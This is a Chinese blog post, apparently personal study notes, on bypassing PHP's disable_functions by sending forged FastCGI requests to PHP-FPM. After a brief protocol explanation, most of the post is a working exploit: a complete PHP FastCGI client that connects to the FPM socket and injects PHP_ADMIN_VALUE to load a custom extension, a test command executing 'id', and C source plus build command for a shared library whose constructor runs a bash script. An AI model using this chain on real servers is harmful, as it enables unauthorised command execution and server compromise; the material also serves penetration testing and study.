学习-bypass-php-FastCGI PHPFPM

bypass-php-FastCGI PHPFPM

参考资料:

https://www.anquanke.com/post/id/197745#h3-5                PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html            Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
https://meizjm3i.github.io/2019/06/11/0CTF-TCTF-2019-Web-Writeup/            有个payload

名称解释

​ FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。

​ PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启

​ 即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver

简单使用
伪造请求发送给 PHP-FPM 不就可以任意代码执行

脚本:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

本地测试

python fpm.py -c '<?php echo `id`;exit;?>' -p 9999 127.0.0.1 /var/www/html/test.php
理解
1.webserver接收到用户发来的请求,放到后端语言处理。此时后端编程语言可能各不一样。所以​ FastCGI协议 出现了,规定大家同一的调用方式
2.FastCGI协议封装请求发送到后端,此时后端语言是php,就发送到了PHP-FPM
3.后端处理好了数据,结果返还给webserver

bypass的原理是
    我们自己通过FastCGI协议去和PHP-FPM(因该是php解释器?)进行通信,让PHP-FPM进行相应操作
    因为PHP-FPM,PHP语言有很多特性,可以在加载php文件前加载扩展,所以利用点在这个扩展里
利用
<?php
class Client
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const RESPONDER            = 1;

    protected $keepAlive = false;
    protected $_requests = array();
    protected $_requestCounter = 0;

    protected function buildPacket($type, $content, $requestId = 1)
    {
        $offset = 0;
        $totLen = strlen($content);
        $buf    = '';
        do {
            // Packets can be a maximum of 65535 bytes
            $part = substr($content, $offset, 0xffff - 8);
            $segLen = strlen($part);
            $buf .= chr(self::VERSION_1)        /* version */
                . chr($type)                    /* type */
                . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
                . chr($requestId & 0xFF)        /* requestIdB0 */
                . chr(($segLen >> 8) & 0xFF)    /* contentLengthB1 */
                . chr($segLen & 0xFF)           /* contentLengthB0 */
                . chr(0)                        /* paddingLength */
                . chr(0)                        /* reserved */
                . $part;                        /* content */
            $offset += $segLen;
        } while ($offset < $totLen);
        return $buf;
    }

    protected function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }

    protected function readNvpair($data, $length = null)
    {
        if ($length === null) {
            $length = strlen($data);
        }
        $array = array();
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }

    public function buildAllPacket(array $params, $stdin)
    {
        // Ensure new requestID is not already being tracked
        do {
            $this->_requestCounter++;
            if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
                $this->_requestCounter = 1;
            }
            $id = $this->_requestCounter;
        } while (isset($this->_requests[$id]));
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value, $id);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
        }
        $request .= $this->buildPacket(self::PARAMS, '', $id);
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin, $id);
        }
        $request .= $this->buildPacket(self::STDIN, '', $id);

        return $request;
    }
}
$sock = stream_socket_client("unix:///tmp/php-cgi-70.sock", $errno, $errstr); //linux下的sock连接文件(主要看配置)
$client = new Client();
$payload_file = "/www/wwwroot/xxxx.co/public/index.php";    //只要是网站的php文件就行
$params = array(
    'REQUEST_METHOD' => 'GET',
    'SCRIPT_FILENAME' => $payload_file,
    'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = ext.so",        //自己编译的动态链接库
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
gcc -o ext.so ext.c -fPIC -shared
tesr@ubuntu:~$ cat ext.c
#include <unistd.h>

__attribute__((constructor)) void rawt() {
if (fork() == 0) {
   execl("/bin/bash", "bash", "/tmp/run.sh", NULL);
}
}


效果:访问上面的php文件,建立和fastcgi的通信,提前加载动态链接库执行命令 (/tmp/run.sh 不需要chmod +x也行)
posted @ 2022-11-20 16:30  是谁走漏了消息  阅读(50)  评论(0编辑  收藏  举报